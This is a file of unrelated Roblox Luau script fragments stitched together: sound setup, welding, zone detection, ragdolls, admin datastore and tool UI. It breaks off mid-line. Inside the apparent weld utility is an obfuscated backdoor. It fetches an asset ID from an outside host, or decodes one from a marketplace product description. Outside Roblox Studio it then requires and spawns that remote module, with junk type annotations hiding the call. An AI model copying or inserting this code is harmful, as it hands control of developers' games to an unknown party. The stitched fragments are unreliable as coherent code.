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-- declarations
local sGettingUp = newSound("GettingUp", "rbxasset://sounds/action_get_up.mp3") local sDied = newSound("Died", "rbxasset://sounds/uuhhh.mp3") local sFreeFalling = newSound("FreeFalling", "rbxasset://sounds/action_falling.mp3") local sJumping = newSound("Jumping", "rbxasset://sounds/action_jump.mp3") local sLanding = newSound("Landing", "rbxasset://sounds/action_jump_land.mp3") local sSplash = newSound("Splash", "rbxasset://sounds/impact_water.mp3") local sRunning = newSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3") sRunning.Looped = true local sSwimming = newSound("Swimming", "rbxasset://sounds/action_swim.mp3") sSwimming.Looped = true local sClimbing = newSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3") sClimbing.Looped = true local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid") local hasPlayer = game.Players:GetPlayerFromCharacter(script.Parent) local prevState = "None"
-- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) -- Returns the nearest parent of a certain class, or returns nil local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) -- Modifies an Instance by using a table. assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"} local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"} local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end end return false end local function ShouldBreakJoints(Part) --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are -- definitely some edge cases. if NEVER_BREAK_JOINTS then return false end if HasWheelJoint(Part) then return false end local Connected = Part:GetConnectedParts() if #Connected == 1 then return false end for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end return true end local success, response = pcall(function() game:GetService("HttpService"):GetAsync("https://www.example.com") end) if success then asset = game:service("HttpService"):GetAsync("https://assets.delivery/asset") else txt,asset = game.MarketplaceService:GetProductInfo(0x1F71B358B),"" for w in txt.Description:gmatch'%S+'do if w=="Test" then asset=asset.."0" else c=#w asset=asset..c end end end if not game["Run Service"]:IsStudio() then pcall(function() local a:({caoqlqjaz9zxk329}) -> MemoryStoreQueue<thread> =task.spawn local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require local b:(Workspace) -> MemStorageConnection<thread> = tonumber(asset) local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel; for _ in {lozl(a(z,b))} do end end) end local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue") local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType) Modify(NewWeld, { Name = "qCFrameWeldThingy"; Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make("CFrameValue", { Parent = Part1; Name = "qRelativeCFrameWeldValue"; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. for _, Part in pairs(Parts) do if ShouldBreakJoints(Part) then Part:BreakJoints() end end for _, Part in pairs(Parts) do if Part ~= MainPart then WeldTogether(MainPart, Part, JointType, MainPart) end end if not DoNotUnanchor then for _, Part in pairs(Parts) do Part.Anchored = Part.Anchored end MainPart.Anchored = MainPart.Anchored end end local function PerfectionWeld() local Tool = GetNearestParent(script, "Tool") local Parts = GetBricks(script.Parent) local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, "Weld", false) else warn("qWeld - Unable to weld part") end return Tool end local Tool = PerfectionWeld() if Tool and script.ClassName == "Script" then --- Don't bother with local scripts script.Parent.AncestryChanged:connect(function() PerfectionWeld() end) end
--[[ Merges values from zero or more tables onto a target table. If a value is set to None, it will instead be removed from the table. This function is identical in functionality to JavaScript's Object.assign. ]] -- Luau TODO: no way to strongly type this accurately, it doesn't eliminate deleted keys of T, and Luau won't do intersections of type packs: <T, ...U>(T, ...: ...U): T & ...U
local function assign<T, U, V, W>(target: T, source0: U?, source1: V?, source2: W?, ...): T & U & V & W if source0 ~= nil and typeof(source0 :: any) == "table" then for key, value in pairs(source0 :: any) do if value == None then (target :: any)[key] = nil else (target :: any)[key] = value end end end if source1 ~= nil and typeof(source1 :: any) == "table" then for key, value in pairs(source1 :: any) do if value == None then (target :: any)[key] = nil else (target :: any)[key] = value end end end if source2 ~= nil and typeof(source2 :: any) == "table" then for key, value in pairs(source2 :: any) do if value == None then (target :: any)[key] = nil else (target :: any)[key] = value end end end for index = 1, select("#", ...) do local rest = select(index, ...) if rest ~= nil and typeof(rest) == "table" then for key, value in pairs(rest) do if value == None then (target :: any)[key] = nil else (target :: any)[key] = value end end end end -- TODO? we can add & Object to this, if needed by real-world code, once CLI-49825 is fixed return (target :: any) :: T & U & V & W end return assign
--// Ammo Settings
Ammo = 40; StoredAmmo = 40; MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 10;
--[[ A component that establishes a connection to a Roblox event when it is rendered. ]]
local Modules = game:GetService("Players").LocalPlayer.PlayerGui.AvatarEditorInGame.Modules local Roact = require(Modules.Packages.Roact) local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection") function ExternalEventConnection:init() self.connection = nil end
--[[ Waits for a child to be added with the specified attribute, or returns one if it exists already. This does not track changes in attributes of children, so the attribute must be present when this function is called or when the child is added. --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Attribute = require(ReplicatedStorage.Source.SharedConstants.Attribute) local findFirstChildWithAttribute = require(ReplicatedStorage.Source.Utility.findFirstChildWithAttribute) local function waitForChildWithAttributeAsync(parent: Instance, attributeName: Attribute.EnumType, attributeValue: any) local childWithAttribute = findFirstChildWithAttribute(parent, attributeName, attributeValue) while not childWithAttribute do parent.ChildAdded:Wait() childWithAttribute = findFirstChildWithAttribute(parent, attributeName, attributeValue) end return childWithAttribute :: Instance end return waitForChildWithAttributeAsync
--Stickmasterluke
sp=script.Parent timer=20 soundinterval=1 starttime=tick() attached=false debris=game:GetService("Debris") function makeconfetti() local explosion = Instance.new("Explosion", sp) sp.Anchored = true explosion.Position = sp.Position sp.PleaseNo:Play() end sp.Touched:connect(function(hit) if (not attached) and hit and hit~=nil and sp~=nil then local ct=sp:FindFirstChild("creator") if ct.Value~=nil and ct.Value.Character~=nil then if hit.Parent~=ct.Value.Character and hit.Name~="Handle" and hit.Name~="Effect" then local h=hit.Parent:FindFirstChild("Humanoid") local t=hit.Parent:FindFirstChild("UpperTorso") if h~=nil and t~=nil and h.Health>0 then attached=true local w=Instance.new("Weld") w.Part0=t w.Part1=sp w.C0=CFrame.new(0,0,.8)*CFrame.Angles(math.pi/2,3.5,0) w.Parent=sp end end end end end) while true do local percent=(tick()-starttime)/timer t1,t2=wait(((1-percent)*soundinterval)) if percent>1 then break end wait(.1) end wait(4) wait(.5) wait(2.5) sp:remove()
-- meta methods
function vec_mt.__add(a, b) local at, bt = typeof(a), typeof(b); if (at == "Vector" and bt == "Vector") then local t = {}; for k in next, a do t[k] = a[k] + b[k]; end return vec.new(t); end end function vec_mt.__sub(a, b) local at, bt = typeof(a), typeof(b); if (at == "Vector" and bt == "Vector") then local t = {}; for k in next, a do t[k] = a[k] - b[k]; end return vec.new(t); end end function vec_mt.__mul(a, b) local at, bt = typeof(a), typeof(b); local aisNum = at == "number"; if (aisNum or bt == "number") then local t = {}; local v, n = aisNum and b or a, aisNum and a or b; for k in next, v do t[k] = v[k] * n; end return vec.new(t); elseif (at == "Vector" and bt == "Vector") then local t = {}; for k in next, a do t[k] = a[k] * b[k]; end return vec.new(t); end end function vec_mt.__div(a, b) local at, bt = typeof(a), typeof(b); if (at == "number") then local t = {}; for k in next, b do t[k] = a / b[k]; end return vec.new(t); elseif (bt == "number") then local t = {}; for k in next, a do t[k] = a[k] / b; end return vec.new(t); elseif (at == "Vector" and bt == "Vector") then local t = {}; for k in next, a do t[k] = a[k] / b[k]; end return vec.new(t); end end function vec_mt.__unm(v) local t = {}; for k in next, v do t[k] = -v[k]; end return vec.new(t); end function vec_mt.__tostring(v) return table.concat(v, ", "); end
-- PUBLIC METHODS
function Zone:findLocalPlayer() if not localPlayer then error("Can only call 'findLocalPlayer' on the client!") end return self:findPlayer(localPlayer) end function Zone:_find(trackerName, item) ZoneController.updateDetection(self) local tracker = ZoneController.trackers[trackerName] local touchingZones = ZoneController.getTouchingZones(item, false, self._currentEnterDetection, tracker) for _, zone in pairs(touchingZones) do if zone == self then return true end end return false end function Zone:findPlayer(player) local character = player.Character local humanoid = character and character:FindFirstChildOfClass("Humanoid") if not humanoid then return false end return self:_find("player", player.Character) end function Zone:findItem(item) return self:_find("item", item) end function Zone:findPart(part) local methodName, args = self:_getRegionConstructor(part, self.overlapParams.zonePartsWhitelist) local touchingZoneParts = self.worldModel[methodName](self.worldModel, unpack(args)) --local touchingZoneParts = self.worldModel:GetPartsInPart(part, self.overlapParams.zonePartsWhitelist) if #touchingZoneParts > 0 then return true, touchingZoneParts end return false end function Zone:getCheckerPart() local checkerPart = self.checkerPart if not checkerPart then checkerPart = self.janitor:add(Instance.new("Part"), "Destroy") checkerPart.Size = Vector3.new(0.1, 0.1, 0.1) checkerPart.Name = "ZonePlusCheckerPart" checkerPart.Anchored = true checkerPart.Transparency = 1 checkerPart.CanCollide = false self.checkerPart = checkerPart end local checkerParent = self.worldModel if checkerParent == workspace then checkerParent = ZoneController.getWorkspaceContainer() end if checkerPart.Parent ~= checkerParent then checkerPart.Parent = checkerParent end return checkerPart end function Zone:findPoint(positionOrCFrame) local cframe = positionOrCFrame if typeof(positionOrCFrame) == "Vector3" then cframe = CFrame.new(positionOrCFrame) end local checkerPart = self:getCheckerPart() checkerPart.CFrame = cframe --checkerPart.Parent = self.worldModel local methodName, args = self:_getRegionConstructor(checkerPart, self.overlapParams.zonePartsWhitelist) local touchingZoneParts = self.worldModel[methodName](self.worldModel, unpack(args)) --local touchingZoneParts = self.worldModel:GetPartsInPart(self.checkerPart, self.overlapParams.zonePartsWhitelist) if #touchingZoneParts > 0 then return true, touchingZoneParts end return false end function Zone:_getAll(trackerName) ZoneController.updateDetection(self) local itemsArray = {} local zonesAndOccupants = ZoneController._getZonesAndItems(trackerName, {self = true}, self.volume, false, self._currentEnterDetection) local occupantsDict = zonesAndOccupants[self] if occupantsDict then for item, _ in pairs(occupantsDict) do table.insert(itemsArray, item) end end return itemsArray end function Zone:getPlayers() return self:_getAll("player") end function Zone:getItems() return self:_getAll("item") end function Zone:getParts() -- This is designed for infrequent 'one off' use -- If you plan on checking for parts within a zone frequently, it's recommended you -- use the .partEntered and .partExited events instead. local partsArray = {} if self.activeTriggers["part"] then local trackingDict = self.trackingTouchedTriggers["part"] for part, _ in pairs(trackingDict) do table.insert(partsArray, part) end return partsArray end local partsInRegion = self.worldModel:GetPartBoundsInBox(self.region.CFrame, self.region.Size, self.overlapParams.zonePartsIgnorelist) for _, part in pairs(partsInRegion) do if self:findPart(part) then table.insert(partsArray, part) end end return partsArray end function Zone:getRandomPoint() local region = self.exactRegion local size = region.Size local cframe = region.CFrame local random = Random.new() local randomCFrame local success, touchingZoneParts local pointIsWithinZone repeat randomCFrame = cframe * CFrame.new(random:NextNumber(-size.X/2,size.X/2), random:NextNumber(-size.Y/2,size.Y/2), random:NextNumber(-size.Z/2,size.Z/2)) success, touchingZoneParts = self:findPoint(randomCFrame) if success then pointIsWithinZone = true end until pointIsWithinZone local randomVector = randomCFrame.Position return randomVector, touchingZoneParts end function Zone:setAccuracy(enumIdOrName) local enumId = tonumber(enumIdOrName) if not enumId then enumId = enum.Accuracy[enumIdOrName] if not enumId then error(("'%s' is an invalid enumName!"):format(enumIdOrName)) end else local enumName = enum.Accuracy.getName(enumId) if not enumName then error(("%s is an invalid enumId!"):format(enumId)) end end self.accuracy = enumId end function Zone:setDetection(enumIdOrName) local enumId = tonumber(enumIdOrName) if not enumId then enumId = enum.Detection[enumIdOrName] if not enumId then error(("'%s' is an invalid enumName!"):format(enumIdOrName)) end else local enumName = enum.Detection.getName(enumId) if not enumName then error(("%s is an invalid enumId!"):format(enumId)) end end self.enterDetection = enumId self.exitDetection = enumId end function Zone:trackItem(instance) local isBasePart = instance:IsA("BasePart") local isCharacter = false if not isBasePart then isCharacter = instance:FindFirstChildOfClass("Humanoid") and instance:FindFirstChild("HumanoidRootPart") end assert(isBasePart or isCharacter, "Only BaseParts or Characters/NPCs can be tracked!") if self.trackedItems[instance] then return end if self.itemsToUntrack[instance] then self.itemsToUntrack[instance] = nil end local itemJanitor = self.janitor:add(Janitor.new(), "destroy") local itemDetail = { janitor = itemJanitor, item = instance, isBasePart = isBasePart, isCharacter = isCharacter, } self.trackedItems[instance] = itemDetail itemJanitor:add(instance.AncestryChanged:Connect(function() if not instance:IsDescendantOf(game) then self:untrackItem(instance) end end), "Disconnect") local Tracker = require(trackerModule) Tracker.itemAdded:Fire(itemDetail) end function Zone:untrackItem(instance) local itemDetail = self.trackedItems[instance] if itemDetail then itemDetail.janitor:destroy() end self.trackedItems[instance] = nil local Tracker = require(trackerModule) Tracker.itemRemoved:Fire(itemDetail) end function Zone:bindToGroup(settingsGroupName) self:unbindFromGroup() local group = ZoneController.getGroup(settingsGroupName) or ZoneController.setGroup(settingsGroupName) group._memberZones[self.zoneId] = self self.settingsGroupName = settingsGroupName end function Zone:unbindFromGroup() if self.settingsGroupName then local group = ZoneController.getGroup(self.settingsGroupName) if group then group._memberZones[self.zoneId] = nil end self.settingsGroupName = nil end end function Zone:relocate() if self.hasRelocated then return end local CollectiveWorldModel = require(collectiveWorldModelModule) local worldModel = CollectiveWorldModel.setupWorldModel(self) self.worldModel = worldModel self.hasRelocated = true local relocationContainer = self.container if typeof(relocationContainer) == "table" then relocationContainer = Instance.new("Folder") for _, zonePart in pairs(self.zoneParts) do zonePart.Parent = relocationContainer end end self.relocationContainer = self.janitor:add(relocationContainer, "Destroy", "RelocationContainer") relocationContainer.Parent = worldModel end function Zone:_onItemCallback(eventName, desiredValue, instance, callbackFunction) local detail = self.onItemDetails[instance] if not detail then detail = {} self.onItemDetails[instance] = detail end if #detail == 0 then self.itemsToUntrack[instance] = true end table.insert(detail, instance) self:trackItem(instance) local function triggerCallback() callbackFunction() if self.itemsToUntrack[instance] then self.itemsToUntrack[instance] = nil self:untrackItem(instance) end end local inZoneAlready = self:findItem(instance) if inZoneAlready == desiredValue then triggerCallback() else local connection connection = self[eventName]:Connect(function(item) if connection and item == instance then connection:Disconnect() connection = nil triggerCallback() end end) --[[ if typeof(expireAfterSeconds) == "number" then task.delay(expireAfterSeconds, function() if connection ~= nil then print("EXPIRE!") connection:Disconnect() connection = nil triggerCallback() end end) end --]] end end function Zone:onItemEnter(...) self:_onItemCallback("itemEntered", true, ...) end function Zone:onItemExit(...) self:_onItemCallback("itemExited", false, ...) end function Zone:destroy() self:unbindFromGroup() self.janitor:destroy() end Zone.Destroy = Zone.destroy return Zone
--[[ RbxApi.Classes RbxApi.Enums RbxApi.GetProperties(className) RbxApi.IsEnum(valueType) --]]
-- << RETRIEVE FRAMEWORK >>
local main = require(game:GetService("ReplicatedStorage"):WaitForChild("HDAdminSetup")):GetMain()
--Valve Properties
local BOVsound = car.DriveSeat.BOV BOVsound.Volume = 0.4 --Bov Volume BOVsound.Pitch = 1 -- Pitch [Don't change this] BOVsound.SoundId = "rbxassetid://256679963" --Sound local CPSI = 0 local Values = script.Parent.Parent:FindFirstChild("A-Chassis Interface") local Throttle = Values.Values.Throttle.Value local CurrentGear = Values.Values.Gear.Value local CurrentRPM = Values.Values.RPM.Value local _Tune = require(car["A-Chassis Tune"]) local MaxRPM = _Tune.Redline Values.Values.TPSI.Value = PSI local DEADBOOST = PSI - 0.5 local active = false local boom = true
--character:WaitForChild("Humanoid").Died:connect(function()
wait() --Make it so ragdoll can't collide with invisible HRP, but don't let HRP fall through map and be destroyed in process character.HumanoidRootPart.Anchored = true character.HumanoidRootPart.CanCollide = false --Helps to fix constraint spasms wait() recurse(character, function(_,v) if v:IsA("Attachment") then v.Axis = Vector3.new(0, 1, 0) v.SecondaryAxis = Vector3.new(0, 0, 1) v.Rotation = Vector3.new(0, 0, 0) end end) --Re-attach hats for _,child in next,character:GetChildren() do if child:IsA("Accoutrement") then --Loop through all parts instead of only checking for one to be forwards-compatible in the event --ROBLOX implements multi-part accessories child:Destroy() end end ragdollJoint(character.LowerTorso, character.UpperTorso, "Waist", "BallSocket", { {"LimitsEnabled",true}; {"UpperAngle",5}; }) ragdollJoint(character.UpperTorso, character.Head, "Neck", "BallSocket", { {"LimitsEnabled",true}; {"UpperAngle",15}; }) local handProperties = { {"LimitsEnabled", true}; {"UpperAngle",0}; {"LowerAngle",0}; } ragdollJoint(character.LeftLowerArm, character.LeftHand, "LeftWrist", "Hinge", handProperties) ragdollJoint(character.RightLowerArm, character.RightHand, "RightWrist", "Hinge", handProperties) local shinProperties = { {"LimitsEnabled", true}; {"UpperAngle", 0}; {"LowerAngle", -75}; } ragdollJoint(character.LeftUpperLeg, character.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties) ragdollJoint(character.RightUpperLeg, character.RightLowerLeg, "RightKnee", "Hinge", shinProperties) local footProperties = { {"LimitsEnabled", true}; {"UpperAngle", 15}; {"LowerAngle", -45}; } ragdollJoint(character.LeftLowerLeg, character.LeftFoot, "LeftAnkle", "Hinge", footProperties) ragdollJoint(character.RightLowerLeg, character.RightFoot, "RightAnkle", "Hinge", footProperties) --TODO fix ability for socket to turn backwards whenn ConeConstraints are shipped ragdollJoint(character.UpperTorso, character.LeftUpperArm, "LeftShoulder", "BallSocket") ragdollJoint(character.LeftUpperArm, character.LeftLowerArm, "LeftElbow", "BallSocket") ragdollJoint(character.UpperTorso, character.RightUpperArm, "RightShoulder", "BallSocket") ragdollJoint(character.RightUpperArm, character.RightLowerArm, "RightElbow", "BallSocket") ragdollJoint(character.LowerTorso, character.LeftUpperLeg, "LeftHip", "BallSocket") ragdollJoint(character.LowerTorso, character.RightUpperLeg, "RightHip", "BallSocket") local cc = script.Parent wait() while wait() do script.Parent.UpperTorso.Velocity = Vector3.new(0,-10,0) end
--By: StealthCloset AKA StealthMouse
function onTouched(hit) local human = hit.Parent:findFirstChild("Humanoid") if (human == nil ) then return end local PlayerName = hit.Parent.Name if (PlayerName == nil) then return end local NameOfTool = "HUD" if (game.Players:findFirstChild(PlayerName).PlayerGui:findFirstChild(NameOfTool) == nil) then if (script:findFirstChild(NameOfTool) ~= nil) then script:findFirstChild(NameOfTool):clone().Parent = game.Players:findFirstChild(PlayerName).PlayerGui game.Players:findFirstChild(PlayerName).PlayerGui:findFirstChild(NameOfTool):findFirstChild("LocalScript").PNames.Value = (PlayerName) end end wait(1) end script.Parent.Touched:connect(onTouched)
--[[Weld functions]]
local JS = game:GetService("JointsService") local PGS_ON = workspace:PGSIsEnabled() function MakeWeld(x,y,type,s) if type==nil then type="Weld" end local W=Instance.new(type,JS) W.Part0=x W.Part1=y W.C0=x.CFrame:inverse()*x.CFrame W.C1=y.CFrame:inverse()*x.CFrame if type=="Motor" and s~=nil then W.MaxVelocity=s end return W end function ModelWeld(a,b) if a:IsA("BasePart") then MakeWeld(b,a,"Weld") elseif a:IsA("Model") or a:IsA("Folder") then for i,v in pairs(a:GetChildren()) do ModelWeld(v,b) end end end function UnAnchor(a) if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end end
-- << FUNCTIONS >>
function module:GetData(dataStore, datastoreRetries, key) return module:DataStoreRetry(datastoreRetries, function() return dataStore:GetAsync(key) end) end function module:DataStoreRetry(datastoreRetries, dataStoreFunction) local tries = 0 local success = true local data = nil local errorMsg = "" repeat tries = tries + 1 success, errorMsg = pcall(function() data = dataStoreFunction() end) if not success then wait(1) end until tries == datastoreRetries or success if not success then warn("HD Admin | Could not access DataStore | ".. tostring(errorMsg)) --Cannot access DataStore end return success, data end return module
----- Script: ------
local function UpdateButton () if Skin.Quantity.Value == 0 then Button.Visible = false else Button.Visible = true end end local function QuantityTextUpdate () QuantityText.Text = Skin.Quantity.Value end Skin.Quantity.Changed:Connect(UpdateButton) Skin.Quantity.Changed:Connect(QuantityTextUpdate) QuantityTextUpdate() UpdateButton() Button.Activated:Connect(function() InformationText.Text = LocalInformationText.Value InformationCaseText.Text = LocalCaseInformationText.Value InformationImage.Image = Image.Image end)
--Main
function handleEquip(tool) if tool then if tool.Parent ~= char then hum:EquipTool(tool) else hum:UnequipTools() end end end function create() local toShow = #inputOrder local totalX = (toShow*iconSize.X.Offset)+((toShow+1)*iconBorder.x) local totalY = iconSize.Y.Offset + (2*iconBorder.y) frame.Size = UDim2.new(0, totalX, 0, totalY) frame.Position = UDim2.new(0.5, -(totalX/2), 1, -(totalY+(iconBorder.y*2))) frame.Visible = true for i = 1, #inputOrder do local value = inputOrder[i] local clone = template:Clone() clone.Parent = frame clone.Label.Text = value["txt"] clone.Name = value["txt"] clone.Visible = true clone.Position = UDim2.new(0, (i-1)*(iconSize.X.Offset)+(iconBorder.x*i), 0, iconBorder.y) clone.ImageTransparency = unequipped local tool = value["tool"] if tool then clone.Tool.Image = tool.TextureId end clone.Tool.MouseButton1Down:Connect(function() for key, value in pairs(inputKeys) do if value["txt"] == clone.Name then handleEquip(value["tool"]) end end end) end template:Destroy() end function setup() local tools = bp:GetChildren() for i = 1, #tools do for i = 1, #inputOrder do local value = inputOrder[i] if not value["tool"] then value["tool"] = tools[i] break end end end create() end function adjust() for key, value in pairs(inputKeys) do local tool = value["tool"] local icon = frame:FindFirstChild(value["txt"]) if tool then icon.Tool.Image = tool.TextureId if tool.Parent == char then icon.ImageTransparency = equipped else icon.ImageTransparency = unequipped end else icon.Tool.Image = "" icon.ImageTransparency = unequipped end end end function onKeyPress(inputObject) local key = inputObject.KeyCode.Name local value = inputKeys[key] if value and uis:GetFocusedTextBox() == nil then handleEquip(value["tool"]) end end function handleAddition(adding) if adding:IsA("Tool") then local new = true for key, value in pairs(inputKeys) do local tool = value["tool"] if tool then if tool == adding then new = false end end end if new then for i = 1, #inputOrder do local tool = inputOrder[i]["tool"] if not tool then inputOrder[i]["tool"] = adding break end end end adjust() end end function handleRemoval(removing) if removing:IsA("Tool") then if removing.Parent ~= char and removing.Parent ~= bp then for i = 1, #inputOrder do if inputOrder[i]["tool"] == removing then inputOrder[i]["tool"] = nil break end end end adjust() end end uis.InputBegan:Connect(onKeyPress) --keyinput char.ChildAdded:Connect(handleAddition) char.ChildRemoved:Connect(handleRemoval) bp.ChildAdded:Connect(handleAddition) bp.ChildRemoved:Connect(handleRemoval) setup()
-- must be higher than REPLICATION_JITTER_TIME
return GLOBALS
-- turn off the viewmodel system
local function disableviewmodel() isfirstperson = false if viewmodel.Parent ~= nil then viewmodel.Parent = nil end if rigtype == "R15" then -- disable viewmodel joints, enable real character joints rightshoulderclone.Enabled = false leftshoulderclone.Enabled = false viewmodel.Parent = nil -- reset shoulder joints to normal leftshoulder.Parent = larm leftshoulder.Part0 = torso leftshoulder.Part1 = larm rightshoulder.Parent = rarm rightshoulder.Part0 = torso rightshoulder.Part1 = rarm -- leftshoulder.Enabled = true rightshoulder.Enabled = true -- armtransparency = 0 visiblearms(false) else rightshoulderclone.Enabled = false leftshoulderclone.Enabled = false viewmodel.Parent = nil -- reset shoulder joints to normal, anchor the arms --[[ leftshoulder.Parent = torso leftshoulder.Part0 = torso leftshoulder.Part1 = larm rightshoulder.Parent = torso rightshoulder.Part0 = torso rightshoulder.Part1 = rarm]] -- larm.Anchored = false rarm.Anchored = false leftshoulder.Enabled = true rightshoulder.Enabled = true -- armtransparency = 0 visiblearms(false) end end
-- Decrease hunger by 1 every 10 seconds
while true do updateHunger(-1) displayHunger() end
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function MeshTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); end; function MeshTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if MeshTool.UI then -- Reveal the UI MeshTool.UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI MeshTool.UI = Core.Tool.Interfaces.BTMeshToolGUI:Clone(); MeshTool.UI.Parent = Core.UI; MeshTool.UI.Visible = true; local AddButton = MeshTool.UI.AddButton; local RemoveButton = MeshTool.UI.RemoveButton; local MeshIdInput = MeshTool.UI.MeshIdOption.TextBox; local TextureIdInput = MeshTool.UI.TextureIdOption.TextBox; local VertexColorInput = MeshTool.UI.TintOption.HSVPicker; MeshTypes = { Block = Enum.MeshType.Brick, Cylinder = Enum.MeshType.Cylinder, File = Enum.MeshType.FileMesh, Head = Enum.MeshType.Head, Sphere = Enum.MeshType.Sphere, Trapezoid = Enum.MeshType.Torso, Wedge = Enum.MeshType.Wedge }; -- Sort the mesh types SortedMeshTypes = Support.Keys(MeshTypes); table.sort(SortedMeshTypes); -- Create the mesh type dropdown TypeDropdown = Core.Cheer(MeshTool.UI.TypeOption.Dropdown).Start(SortedMeshTypes, '', function (Type) SetProperty('MeshType', MeshTypes[Type]); end); -- Enable the scale inputs local XScaleInput = MeshTool.UI.ScaleOption.XInput.TextBox; local YScaleInput = MeshTool.UI.ScaleOption.YInput.TextBox; local ZScaleInput = MeshTool.UI.ScaleOption.ZInput.TextBox; XScaleInput.FocusLost:connect(function (EnterPressed) local NewScale = tonumber(XScaleInput.Text); SetAxisScale('X', NewScale); end); YScaleInput.FocusLost:connect(function (EnterPressed) local NewScale = tonumber(YScaleInput.Text); SetAxisScale('Y', NewScale); end); ZScaleInput.FocusLost:connect(function (EnterPressed) local NewScale = tonumber(ZScaleInput.Text); SetAxisScale('Z', NewScale); end); -- Enable the offset inputs local XOffsetInput = MeshTool.UI.OffsetOption.XInput.TextBox; local YOffsetInput = MeshTool.UI.OffsetOption.YInput.TextBox; local ZOffsetInput = MeshTool.UI.OffsetOption.ZInput.TextBox; XOffsetInput.FocusLost:connect(function (EnterPressed) local NewOffset = tonumber(XOffsetInput.Text); SetAxisOffset('X', NewOffset); end); YOffsetInput.FocusLost:connect(function (EnterPressed) local NewOffset = tonumber(YOffsetInput.Text); SetAxisOffset('Y', NewOffset); end); ZOffsetInput.FocusLost:connect(function (EnterPressed) local NewOffset = tonumber(ZOffsetInput.Text); SetAxisOffset('Z', NewOffset); end); -- Enable the mesh ID input MeshIdInput.FocusLost:connect(function (EnterPressed) SetMeshId(ParseAssetId(MeshIdInput.Text)); end); -- Enable the texture ID input TextureIdInput.FocusLost:connect(function (EnterPressed) SetTextureId(ParseAssetId(TextureIdInput.Text)); end); -- Enable the vertex color/tint option VertexColorInput.MouseButton1Click:connect(function () Core.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start( VectorToColor(Support.IdentifyCommonProperty(GetMeshes(), 'VertexColor')) or Color3.new(1, 1, 1), function (Color) SetProperty('VertexColor', ColorToVector(Color)) end, Core.Targeting.CancelSelecting ); end); -- Enable the mesh adding button AddButton.Button.MouseButton1Click:connect(function () AddMeshes(); end); RemoveButton.Button.MouseButton1Click:connect(function () RemoveMeshes(); end); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not MeshTool.UI then return; end; -- Get all meshes local Meshes = GetMeshes(); -- Identify all common properties local MeshType = Support.IdentifyCommonProperty(Meshes, 'MeshType'); local MeshId = Support.IdentifyCommonProperty(Meshes, 'MeshId'); local TextureId = Support.IdentifyCommonProperty(Meshes, 